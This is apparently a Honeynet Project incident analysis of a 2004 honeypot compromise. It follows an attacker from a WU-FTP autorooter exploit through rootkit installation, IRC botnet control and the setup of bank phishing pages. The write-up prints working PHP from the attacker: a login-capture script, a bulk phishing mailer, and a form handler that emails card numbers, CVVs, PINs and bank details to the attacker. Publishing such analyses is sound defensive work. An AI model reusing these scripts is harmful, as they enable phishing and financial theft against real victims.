Details of German compromise

On November 12, 2004, the Honeynet was connected to the Internet. During the time between the start up and November 22, nothing special happened. We just observed an enormous number of
packets with destination port 445 which is not critical for the installed Honeypot.

At 1:16 am the Honeypot got compromised by exploiting the WU-FTP daemon. There was no port scan or FTP connection before, the first connect was used to hack the computer which is an indication of an autorooter-tool. Such tools are used to scan whole network ranges for vulnerable machines and attack everything they come across. They just deliver their "evil" payload to every system in the given address range. In our case, it was probably a tool called superwu since later on, the attacker used this tool to attack further targets from the Honeypot.

Until 8:21 am there was no activity from the attacker. Probably he started the tool the night before and checked in the morning for successful gained access. As a first step he downloaded a rootkit and installed it on the Honeypot. This script-based rootkit replaces some system binaries with trojaned files:

/usr/bin/dir /usr/bin/top /bin/ps
/sbin/ifconfig /usr/bin/slocate /usr/bin/pstree
/bin/netstat /usr/bin/vdir /usr/bin/socklist
/usr/bin/strings /usr/bin/chattr /usr/sbin/lsof

In addition, it install an SSH-daemon on port 255 which was used by the attacker to log on the Honeypot in the following. The rootkit uses source code to compile new versions of binary files. These trojaned executables are adjusted to the size of the original files of the target system to "hide" the presence. The rootkit also installs a sniffer to collect login information to other systems. Furthermore, it modifies the init-scripts to ensure that the installed services will start on next reboot and then sends out an information mail about the system status to the attacker. After finishing the installation, the attacker reentered the Honeypot via the additionally installed SSH service using the tool "putty", an SSH-Client for Windows-systems. Afterwards the attacker downloaded a file called spam.tgz. This archive contains some PHP and HTML files. Further examination showed that these files contain web-pages to update the billing profile update for seller accounts of a large Internet auctions website. The attacker copied this files into the document root of the webserver. The "index.html" start page is a forwarding page to the auctions website. The reason for that is that these PHP pages were incomplete. The attacker edited them, but never finished his work on this files. By tracing the IP of the attacker, the source could be located in Romania. A scan of this computer showed no open ports, so this could be the computer of the cracker.

At8:49 am the attacker downloaded another file: psybnc.tgz. After extracting the archive, he installed the included IRC-Bouncer and started an IRC-Session to an "" server. The channel he entered was probably used to control hacked systems. A scan of all 8 connected clients showed the same untypical open port 255 with a listening SSH-daemon like the Honeypot had. The attacker also entered another channel and received Operator-rights there. The topic on this channel was a pointer to his personal homepage and the language used in that channel was Romanian.

At6:25 pm the attacker came back and downloaded the file windmilk.tgz. This archive contains the "superwu" autorooter. After extracting the executable binary file, he started the exploiter in a screen-session with a target network as parameter. Then the attacker detached the session and logged off. Later when he came back, he attached the session again to see the results. Since the Honeywall blocked all attacks, no systems could be compromised. The attacker did not realize the intervention, downloaded and installed at 10:40 pm a "socksify" proxy which was configured without any restrictions. With this service anybody could use the Honeypot as a proxy for spreading spam or anonymous connections to any other systems. During the honeynet's online time, it was never used.

On November 23, 2004, the attacker came back at 2:25 pm. He added the user "ro" and installed another rootkit. In a side note we present the recording of this session captured by the snort binary logging.

At 4:40 pm, the attacker downloaded the archive willson.tgz. This file includes already finished webpages similar to the spam.tgz archive. The attacker installed them in the document root directory of the webserver. Now this Honeypot could be used for phishing attacks. By calling the startup page, you get a login page that looks like the original login page. While unrelated to the incident we report, a recent example illustrating the similarity of a phishing data entry form to compare to the acutal site can be found here.

The input of this form will be rudimentary checked with the help of a small PHP-script

<em>&lt;?php //chk: if(strlen($userid)&lt;1 || strlen($pass)&lt;1) { echo 'Invalid user/password'; } else { $mesaj = &quot;$userid $pass&quot;; header (&quot;Location:verify.html&quot;); $muie = fopen(&quot;/tmp/User.doc&quot;, &quot;w&quot;); fwrite($muie, $mesaj); fclose($muie); exit(); } ?&gt;</em>
For both input fields (username and password), the input must be longer than one character. Note the use of the strings $mesaj and $muie, which suggests a Romanian connection and have been observed in other incidents analysed by members of the UK Honeynet Project. If the input is okay, it will be written to the file /tmp/User.doc and the next page will be shown. On this page, the victim is tricked into entering personal information. All input will be checked and if one is not according to the condition, an error page will be shown. This error page does not attempt to mimic the real error page and most victims would likely become suspicious of the fake web site at this point.

With the help of the following validation script, the data entered into the form is checked. The resulting page of the validation process is not interpreted by the webserver because Apache does not accept .dll files as PHP files by default. The attacker forgot to set the "AddType" variable of the Apache server to interpret .dll files with the PHP-engine. The next activity of the attacker was downloading an archive called banksend.tgz. This file includes a PHP script for sending mails:

<em>&lt;?php include(&quot;;); $mail_header = &quot;From: [email protected]&lt;[email protected]&gt;\n&quot;; $mail_header .= &quot;Content-Type: text/html\n&quot;; $subject=&quot;Bank Security Department &quot;; $body=loadini(&quot;test.txt&quot;); if (!($fp = fopen(&quot;list.txt&quot;, &quot;r&quot;))) exit(&quot;Unable to open $listFile.&quot;); $i=0; print &quot;Start time is &quot;; print date(&quot;Y:m:d H:i&quot;); print &quot;\n&quot;; while (!feof($fp)) { fscanf($fp, &quot;%s&quot;, $name); $i++; mail($name, $subject, $body, $mail_header); } print &quot;End time is &quot;; print date(&quot;Y:m:d H:i&quot;); print &quot;\n&quot;; print &quot;$i&quot;; print &quot;emails sent.&quot;; print&quot;\n&quot;; ?&gt;</em>
After downloading the test.txt file which contained 3719 e-mail addresses, the attacker started sending phishing mails to the recipients listed in this file. The source code of this file shows the real target of the comprised link:

Please follow the link below and renew your account information. <br><br> <a href="http://XXX.XXX.XXX.XXX/Checking/login.php" onClick="popup('')" onMouseOver="window.status='';return true;" onMouseOut="window.status=' ';return true;"></a> <br> <br>

At this point of time we decided to block outgoing TCP ports 25 and 443 so that no victim would suffer from the phishing attacks. The attacker probably noticed that we blocked outgoing connections and concluded that something weird was happening. He never came back and on Decembers 8, 2004, the honeynet went offline for further analysis.

What else did we find?

We found archives which contained pre-packaged pages for other major banks. These pages are used for gathering credit card numbers from the victims. For example, in one case the form input will be checked with the help of JavaScript and the only condition is that the input fields are not blank. The next script sends the data to the attacker:

<em>&lt;?php session_start(); $log0 = $_POST['CARD_NUMBER']; $log1= $_POST['CVV2']; $log2 = $_POST['MOTHERS_MAIDEN_NAME']; $log3 = $_POST['EMAIL']; $log4 = $_POST['nmc']; $log5 = $_POST['addr']; $log6 = $_POST['cd']; $log7 = $_POST['pin']; $log8 = $_POST['country']; $log9 = $_POST['city']; $log10 = $_POST['state']; $log11 = $_POST['exp']; $log12 = $_POST['user']; $log13 = $_POST['password']; $log14 = $_POST['bankname']; $log15 = $_POST['bankrouting']; $log16 = $_POST['checkingaccount']; $log17 = $_POST['bankacc']; $td = date(&quot;F jS&quot;); $date = date(&quot;d M, Y&quot;); $time = date(&quot;g:i a&quot;); $LogTime = trim(&quot; Date: &quot;.$date.&quot;, Time: &quot;.$time ); mail(&quot;[email protected]&quot;, &quot;Bank Results&quot;, &quot;$log0\n$log1\n$log2\n$log3\n$log4\n$log5\n$log6\n $log7\n$log8\n$log9\n$log10\n$log11\n$log12\n$log13\n$log14\n$log15\n$log16\n$log17&quot;); header (&quot;Location: proccessing.html&quot;); exit; ?&gt; </em>
After this validation, the file processing.html shows just the text: "Thank you, Our update team will verify provided information and you will be contacted". In another bank page, we found the input will not be checked for reasonable values. Instead, it will be just send to the attacker by mail after using the "Save" button. Furthermore, we found a mailer-script for a US bank which works like the mailer-script. It is a simple PHP script that reads e-mail addresses from a separate file and sends the contents of another file. The recipient file includes 83,073 mail addresses.